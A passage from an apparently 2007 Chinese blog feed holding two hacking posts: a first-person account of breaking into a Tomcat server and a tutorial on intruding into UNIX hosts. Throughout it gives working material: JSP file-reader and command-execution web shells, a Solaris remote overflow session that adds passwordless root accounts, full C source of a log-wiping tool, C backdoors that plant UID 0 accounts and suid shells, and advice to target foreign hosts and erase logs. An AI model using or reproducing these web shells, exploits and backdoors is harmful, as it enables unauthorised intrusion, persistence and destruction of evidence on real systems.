color=#000000>http://target:8080/index.JSP</font></a> %81 （不行） <br><a href="http://target:8080/index.jsp" target=_blank><font color=#000000>http://target:8080/index.js%70</font></a> （不行） <br><a href="http://target:8080/index.JSP" target=_blank><font color=#000000>http://target:8080/index.JSP</font></a> %2581 （不行） <br><a href="http://target:8080/WEB-INF/" target=_blank><font color=#000000>http://target:8080/WEB-INF/</font></a> （不行） <br>嗯，在试试吧！Tomcat 3.1自带了一个管理工具，可以查看WEB下的目录及文件，并且可以添加context.试一下： <a href="http://target:8080/admin/" target=_blank><font color=#000000>http://target:8080/admin/</font></a> <br>管理员果然没有删除或禁止访问这个目录：-（失误！！！！！ <br>接着我点"VIEW ALL CONTEXT"按钮，列出了WEB目录下的一些文件和目录的名称，我开始仔细的看了起来，一小会儿，发现了一个上传文件的组件，嘿嘿，写一个jsp文件弄上去看看。 <br>几口咖啡的时间，我写了这么一个东东出来： <br>&lt;%@ page import="java.io.*" %&gt; <br>&lt;% <br>String file = request.getParameter("file"); <br>String str = ""; <br>FileInputStream fis = null; <br>DataInputStream dis = null; <br>try{ <br>fis = new FileInputStream(file); <br>dis = new DataInputStream(fis); <br>while(true){ <br>try{ <br>str = dis.readLine(); <br>}catch(Exception e){} <br>if(str == null)break; <br>out.print(str+"&lt;br&gt;"); <br>} <br>}catch(IOException e){} <br>%&gt; <br>通过上传的组件将这个jsp上传到对方的WEB目录里，然后： <br><a href="http://target:8080/upload/test.jsp?file=/etc/passwd" target=_blank><font color=#000000>http://target:8080/upload/test.jsp?file=/etc/passwd</font></a> <br>嘿嘿，密码出来啦。我只看了"/etc/passwd"，并没有看"/etc/shadow"，因为当时考虑webserver一般使用nobody的身份启动的，看了也白看。（失误） <br>接下来的过程是无聊的猜测密码，没有成功。算了，那我只有将就点，反正现在我相当于有了一个shell了嘛，猜不出密码上去，那就全当IE是我的SHELL环境吧！ <br>再写： <br>&lt;%@ page import="java.io.*" %&gt; <br>&lt;% <br>try { <br>String cmd = request.getParameter("cmd"); <br>Process child = Runtime.getRuntime().exec(cmd); <br>InputStream in = child.getInputStream(); <br>int c; <br>while ((c = in.read()) != -1) { <br>out.print((char)c); <br>} <br>in.close(); <br>try { <br>child.waitFor(); <br>} catch (InterruptedException e) { <br>e.printStackTrace(); <br>} <br>} catch (IOException e) { <br>System.err.println(e); <br>} <br>%&gt; <br>然后把这个jsp又通过upload上传了上去，嘿嘿，我现在有个SHELL了。 <br><a href="http://target:8080/upload/cmd.jsp?cmd=ls+-la+/" target=_blank><font color=#000000>http://target:8080/upload/cmd.jsp?cmd=ls+-la+/</font></a> <br>（我这里就不列出来了） <br>怎么获得root呢？经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码：）看看是什么权限运行的mysql： <br><a href="http://target:8080/upload/cmd.jsp?cmd=ps+aux" target=_blank><font color=#000000>http://target:8080/upload/cmd.jsp?cmd=ps+aux</font></a> +|grep+mysqld <br>显示： <br>root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql <br>嘿嘿，有办法了，系统是以root身份运行的mysql，同时我知道了mysql的密码，那我现在我可以写一个shell程序，让它create一个表，然后将我的数据放到表中，然后再使用"select ... into outfile;"的办法在系统上创建一个文件，让用户在执行su的时候，运行我的程序。（还记得apache.org有一次被入侵吗？hacker就采用的这种办法）。 <br>然后，我再上传bindshell之类的程序，运行、获得nobody的权限，然后......再使用su root时帮忙创建的setuid shell让自己成为root. <br>嘿嘿，真是好办法，我都为我的想法感到得意...... <br><br>接下去的事情，差点没让我吐血： <br>我敲了一个: <a href="http://target:8080/upload/cmd.jsp?cmd=id" target=_blank><font color=#000000>http://target:8080/upload/cmd.jsp?cmd=id</font></a> <br>显示： <br>uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) <br>kao,我的这个WEB SHELL本来就是ROOT，真是服了那个管理员，也服了自己。竟然折腾了这么半天，哎！ <br><a href="http://target:8080/upload/cmd.jsp?cmd=ps+aux" target=_blank><font color=#000000>http://target:8080/upload/cmd.jsp?cmd=ps+aux</font></a> <br>果然是root身份运行的（不列出来了） <br><br>剩下来的事情： <br>1、删除我的telnet记录。 <br>2、删除http的日志。 <br>至于清除日志嘛，我使用的办法是：cat xxx |grep -V "IP" &gt;&gt;temp然后在把temp覆盖那些被我修改过的日志文件。 <br>我没有更换他的页面，因为我本身也就不是什么黑客啦，更不是红客，只是个网络安全爱好者而已。所以，发封邮件告诉system admin吧！ <br>当然，我顺便在信中提到，如果需要安盟信息科技为他提供安全服务的话，我们会非常的高兴!</span><br>
<img src ="http://www.cppblog.com/niewenlong/aggbug/26595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-06-19 00:51 <a href="http://www.cppblog.com/niewenlong/archive/2007/06/19/26595.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅谈入侵UNIX </title><link>http://www.cppblog.com/niewenlong/archive/2007/06/19/26593.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Mon, 18 Jun 2007 16:30:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/06/19/26593.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/26593.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/06/19/26593.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/26593.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/26593.html</trackback:ping><description><![CDATA[一：基本知识 <br><br>1：常见UNIX版本： <br>SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware... <br>2:简单介绍几个 <br>sunos&amp;solaris SUN本来想用solaris取代sunos，不过在用户的要求下，到目前为止，还是维持两者并存的政策； <br>Freebsd是著名的BSD-UNIX的一的继承者，是UNIX众多分支中相当稳定的一个，很多ISP均使用运行Freebsd； <br>Linux是一个面对PC机个人用户的自由廉价的UNIX产品（其硬件平台是Intel系列的CPU），实际上众多的网络管理员真正使用的是Linux。 <br>3：UNIX操作系统的特点 <br>（1）多用户和多任务；（2）可移植性；（3）树行结构的文件系统；（4）I/O重定向技术和管道技术；（5）丰富的实用程序；（6）每个用户都有电子邮件。 <br>4：尤为突出的优点 <br>（1）稳定可靠性高；（2）网络功能强；（3）开发性好；（4）强大的数据库支持功能；（5）伸缩性强。 <br><br>二：入侵目的 <br><br>1：学习UNIX，熟悉内部操作，整体配置... <br>2：做跳板或以此捕捉更多UNIX肉鸡； <br>3：越权得到某些正常请求下得不到的东西； <br>4：攻击破坏或以此作为利器来破坏其他系统； <br>5：更多...... <br><br>三：入侵方法 <br><br>1：寻找目标 <br><br>工具：supperscan，流光，LANguard Network Scanner 2.0或者其他，凭个人喜好选用 <br>supperscan：扫描23，79端口，注意含%，#，&amp;...主机，这些就是UNIX； <br>LANguard..作简单设置，即可开始，判断对方操作系统功能乃同类软件中的精品，直观准确； <br>流光：利用高级扫描，选telnet，PRC，POP3，FTP，Finger即可。 <br>其他方法一样... <br>（说明：很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息，请注意识别） <br><br>2：开始入侵 <br><br>（1）溢出（所有关于UNIX的溢出，都需要在一个UNIX／Linux的环境下进行编译） <br>A：远程溢出 <br>溢出？呵呵，太多了！随便说几个：freebsd远程溢出，bind 远程溢出，Sun Solaris 5.7/5.8 Sparc远程溢出，redhat6.xrpc status远程溢出...自己去一一了解吧，在这里我简单说两个例子： <br>a1：考虑到很多朋友使用windows，所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》（地址：<a href="http://www.itser.com/ez/.bbs/topic.cgi?forum=7&amp;topic=25&amp;show=" target=_blank><span style="FONT-FAMILY: Arial">http://www.itser.com/ez/.bbs/topic.cgi?forum=7&amp;topic=25&amp;show=</span></a><span style="FONT-FAMILY: Arial">），因为这个溢出程序有已经编译好了可以直接在windows下使用； <br>a2:Sun Solaris 5.7 Sparc远程溢出 <br>搜索...终于让我找到了一台sunos 5.7，上我一台sunos 5.8 <br>telnet 66.*.146.48 -----&gt;&gt;这是我的！ <br>SunOS 5.8 <br><br>login: ply <br>Password: <br>Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli <br>Sun Microsystems Inc. SunOS 5.8 Generic February 2000 <br>$ tmp/.sh -----&gt;&gt;当时溢出时做的处理！ <br># ls <br>bin data etc initrd mnt proc sbin usr <br>boot dev home lib misc opt root tmp var <br>xfn skip <br># cat &gt;snmp.c <br><br>....... -----&gt;&gt;太长了，省略...自己去找！ <br><br># gcc -o snmp snmp.c -----&gt;&gt;用gcc编译 <br>snmp.c: In function `main': <br>snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type <br>snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type <br>snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type <br># ls <br>bin data etc initrd mnt proc sbin snmp usr <br>boot dev home lib misc opt root snmp.c tmp var <br># ./snmp <br>copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/ <br>snmpXdmid for solaris 2.7 2.8 sparc <br><br>usage: ./s address [-p port] -v 7|8 <br>#./snmp 216.*.45.63 -v 7 ----&gt;开始溢出！！ <br>DELIRIUM mar 2001 poland //lsd-pl.net/ <br>snmpXdmid for solaris 2.7 2.8 sparc <br><br>adr=0x000c8f68 timeout=30 port=928 connected! <br>sent! <br>SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80 <br>id <br>uid=0(root) gid=0(root) -----&gt;&gt;是root哦！ <br>echo "ply::0:0::/:/bin/bash" &gt;&gt; /etc/passwd -----&gt;&gt;加个用户先！ <br>echo "ply::::::::" &gt;&gt; /etc/shadow <br>... -----&gt;&gt;还想干什么就继续吧！ <br><br>B：本地溢出 <br>本地溢出需要一个具有Shell权限的帐号，这个帐号可以通过pop3或ftp弱密码得到，照样举个例子： <br>流光扫描...一会儿得到了一个ftp帐号（webmaster，webmaster），先telnet上去！ <br>telnet *.174.62.135 <br><br>Red Hat Linux release 6.2 (Cartman) -----&gt;&gt;linux 6.2,容易搞定！ <br>Kernel 2.2.12-20kr2smp on an i686 <br>login: webmaster <br>Password: <br>Last login: Wed Apr 24 02:21:58 from *.*.*.* <br>You have mail. -----&gt;&gt;这家伙有新邮件，不过我没兴趣！ <br>[webmaster@ns webmaster]$ -----&gt;&gt;气人的普通用户$ <br>[webmaster@ns webmaster]$cat &gt;ts.c <br>... -----&gt;&gt;要学会利用网络资源，自己找，当是练习！ <br>[webmaster@ns webmaster]$gcc -o ts ts.c -----&gt;&gt;还是用gcc编译。 <br>In file included from /usr/include/asm/user.h:5, <br>from /usr/include/linux/user.h:1, <br>from ts.c:30: <br>/usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined <br>/usr/include/sys/ptrace.h:103: warning: this is the location of the previous def <br>inition <br>[webmaster@ns webmaster]$ ls <br>Desktop/ Mail/ ts* ts.c <br>[webmaster@ns webmaster]$ ./ts <br>attached <br>bash# su root <br>[root@ns webmaster]# -----&gt;&gt;搞定，看见#我就高兴！ <br>[root@ns webmaster]# cat &gt;wipe.c -----&gt;&gt;扫脚印的，这个还是给大家吧，否则有人要扁我了！ <br>/*============================================================================= <br>UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD <br>The Shadow Penguin Security ( </span><a href="http://shadowpenguin.backsection.net/" target=_blank><span style="FONT-FAMILY: Arial">http://shadowpenguin.backsection.net</span></a> ) <br>Written by UNYUN ( <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#117;&#110;&#101;&#119;&#110;&#52;&#116;&#104;&#64;&#117;&#115;&#97;&#46;&#110;&#101;&#116;">unewn4th@usa.net</a> ) <br>============================================================================= <br>*/ <br><br>#include <br>#include <br>#include <br>#include <br><br>#ifdef UTMAXTYPE <br>#define UTMPX <br>#include <br>#endif <br>#include <br>#ifndef _PATH_LASTLOG <br>#include <br>#endif <br>#include <br>#include <br>#include <br><br>#define SVR4_UTMP "/var/adm/utmp" <br>#define SVR4_WTMP "/var/adm/wtmp" <br>#define SVR4_LASTLOG "/var/adm/lastlog" <br><br>#define SUNOS4_UTMP "/etc/utmp" <br>#define SUNOS4_WTMP "/usr/adm/wtmp" <br>#define SUNOS4_LASTLOG "/usr/adm/lastlog" <br><br>#define BSD_UTMP "/var/run/utmp" <br>#define BSD_WTMP "/var/log/wtmp" <br>#define BSD_LASTLOG "/var/log/lastlog" <br><br>#define MAX_FPATH 512 <br><br>int wipe_log(path,user,type) <br>char *path,*user; <br>int type; <br>{ <br>struct utmp utmp_ent; <br>#ifdef UTMPX <br>struct utmpx utmpx_ent; <br>#endif <br>void *ent; <br>char *un; <br>int sz,fd,c=0; <br><br>if (strlen(path)==0) return(1); <br>if (type==0){ <br>ent=(void *)&amp;utmp_ent; <br>#ifdef UTMPX <br>un=(char *)&amp;utmp_ent.ut_user; <br>#else <br>un=(char *)&amp;utmp_ent.ut_name; <br>#endif <br>sz=sizeof(struct utmp); <br>}else{ <br>#ifdef UTMPX <br>ent=(void *)&amp;utmpx_ent; <br>un=(char *)&amp;utmpx_ent.ut_user; <br>sz=sizeof(struct utmpx); <br>#endif <br>} <br>if ((fd=open(path,O_RDWR))&lt;=0) return(-1); <br>while(read(fd,ent,sz)&gt;0) <br>if (!strncmp(un,user,strlen(user))){ <br>memset(ent,0,sz); <br>lseek(fd,-sz,SEEK_CUR); <br>write(fd,ent,sz); <br>c++; <br>} <br>close(fd); <br>printf("Wiped %d entries of %s from %s.\n",c,user,path); <br>return(0); <br>} <br><br>int wipe_lastlog(path,user,type) <br>char *path,*user; <br>int type; <br>{ <br>struct passwd *p; <br>struct lastlog ent; <br>int fd; <br>char buffer[MAX_FPATH]; <br><br>if (type==0) strcpy(buffer,path); <br>else sprintf(buffer,"%s/%s",path,user); <br>memset(&amp;ent,0,sizeof(struct lastlog)); <br>if ((p=getpwnam(user))==NULL) return(-1); <br>if ((fd=open(buffer,O_RDWR))&lt;=0) return(-2); <br>if (type==0) <br>lseek(fd,p-&gt;CNSU_uid*sizeof(struct lastlog),SEEK_SET); <br>write(fd,&amp;ent,sizeof(struct lastlog)); <br>close(fd); <br>printf("Wiped %s from %s.\n",user,path); <br>return(0); <br>} <br><br>main(argc,argv) <br>int argc; <br>char *argv[]; <br>{ <br>char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH]; <br>char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH]; <br>char f_lastlog[MAX_FPATH]; <br>struct utsname utname; <br>int lastlog_type; <br><br>if (argc!=2){ <br>printf("Usage: %s Usernane\n",argv[0]); <br>exit(1); <br>} <br>if (getpwnam(argv[1])==NULL){ <br>printf("Unknown user : %s\n",argv[1]); <br>exit(1); <br>} <br>uname(&amp;utname); <br>strcpy(f_wtmpx,""); strcpy(f_utmpx,""); <br>if (!strcmp(utname.sysname,"SunOS")){ <br>#ifdef UTMPX <br>strcpy(f_utmp, SVR4_UTMP); <br>strcpy(f_wtmp, SVR4_WTMP); <br>strcpy(f_utmpx, UTMPX_FILE); <br>strcpy(f_wtmpx, WTMPX_FILE); <br>strcpy(f_lastlog, SVR4_LASTLOG); <br>lastlog_type=0; <br>#else <br>strcpy(f_utmp, SUNOS4_UTMP); <br>strcpy(f_wtmp, SUNOS4_WTMP); <br>strcpy(f_lastlog, SUNOS4_LASTLOG); <br>lastlog_type=0; <br>#endif <br>}else if (!strcmp(utname.sysname,"Linux") <br>|| !strcmp(utname.sysname,"FreeBSD")){ <br>strcpy(f_utmp, BSD_UTMP); <br>strcpy(f_wtmp, BSD_WTMP); <br>strcpy(f_lastlog, BSD_LASTLOG); <br>}else if (!strcmp(utname.sysname,"IRIX")){ <br>#ifdef UTMPX <br>strcpy(f_utmp, SVR4_UTMP); <br>strcpy(f_wtmp, SVR4_WTMP); <br>strcpy(f_utmpx, UTMPX_FILE); <br>strcpy(f_wtmpx, WTMPX_FILE); <br>strcpy(f_lastlog, SVR4_LASTLOG); <br>lastlog_type=1; <br>#else <br>printf("Can not wipe. System Unknown.\n"); <br>#endif <br>}else <br>printf("Can not wipe. System Unknown.\n"); <br><br>wipe_log(f_utmp, argv[1],0); <br>wipe_log(f_utmpx,argv[1],1); <br>wipe_log(f_wtmp, argv[1],0); <br>wipe_log(f_wtmpx,argv[1],1); <br>wipe_lastlog(f_lastlog,argv[1],lastlog_type); <br>} <br>^d <br><br>[root@ns webmaster]# gcc -o wipe wipe.c <br>[root@ns webmaster]# ./wipe webmaster -----&gt;&gt;./wipe username就可以扫掉脚印了！ <br><br>（2）扫描弱口令或暴力破解口令 <br>A：弱口令使用于大范围搜捕，即利用少量常见多用密码去推测大量主机的telnet，ftp或pop3 <br>B：暴力破解适用于针对某一主机，比如说利用finger获得了用户列表，即可采用字典攻击！或者说利用其他漏洞（如phf漏洞）获得了passwd，shadow文件，可以拿john或者乱刀解破，能否解破？看运气！ <br><br>（3）利用特洛伊木马窃取口令（我没有这么做过，但这不失为一种方法） <br><br>（4）网络监听和数据截取（大家和我一起努力吧，努力学会利用这种方法:P) <br><br>(5)这里给大家几个简单的后门程序，复杂的自己去看！ <br>a1:口令文件 passwd 中增加一个 UID 为 0 的帐号 <br>#include　 <br><br>main() <br>{ <br>FILE　*fd; <br>fd=fopen("/etc/passwd","a+"); <br>fprintf(fd,"hax0r::0:0::/root:/bin/sh\n"); <br>} <br>a2:在 /tmp 目录下放置 suid shell <br>#include <br>main() <br>{ <br>system("cp /bin/sh /tmp/fid"); <br>system("chown root.root /tmp/fid"); <br>system("chmod 4755 /tmp/fid"); <br>} <br>a3:管理员偶然地输入cd..时向/etc/passwd文件添加一个UID　0　帐号 <br>#include　 <br>#include　 <br><br>main() <br>{ <br>FILE　*fd; <br>fd=fopen("/etc/passwd","a+"); <br>fprintf(fd,"hax0r::0:0::/root:/bin/sh\n"); <br>system("cd"); <br>} <br>（6）攻击（特别是溢出）的方式很多，但方法大多大同小异，故不再赘叙！ <br><br>四：补充说明 <br><br>1：如用supperscan发现某ip段存在大量unix主机，马上转用弱口令破解；或发现某连续ip段全是同一个unix版本操作系统，则此ip段很有可能是某大公司，企业，高校或其他，一般防护甚严，不存在溢出漏洞，无需逐一尝试溢出，随便选两三个试试看行不行； <br>2：到信息产业发达的国家去找，比如说美国，日本...不要找国内的，又少又危险！ <br>3：若发现telnet不上上次成功溢出的肉鸡，说明此肉鸡的ip是动态的，但ip改变不会太大，在临近ip再搜一遍即可！ <br><br>五：强调说明 <br><br>不要简单地认为你已经轻易地檫干净了你的入侵痕迹，很多有经验的管理员都把日志文件转到了其他主机上或作相关安全处理，一旦管理员发现了入侵，他会从如下方面来分析攻击者的入侵方式，你应该以此做出相应的应对措施： <br>1：查找系统文件和系统培植文件的变化； <br>2：查找数据文件的变化； <br>3：查找入侵留下的数据文件和相关工具； <br>4：检查日志文件 <br>5：查找出网络监听的迹象 <br>6：检查局域网上的其他计算机。 <br><br>六：本文中存在的缺点错误还望容忍并多加批评与指正！本文欢迎转载，但请务必保持全文完整！ <br><br>七：警告，请清醒地估量你的行为可能带来的后果！
<img src ="http://www.cppblog.com/niewenlong/aggbug/26593.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-06-19 00:30 <a href="http://www.cppblog.com/niewenlong/archive/2007/06/19/26593.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>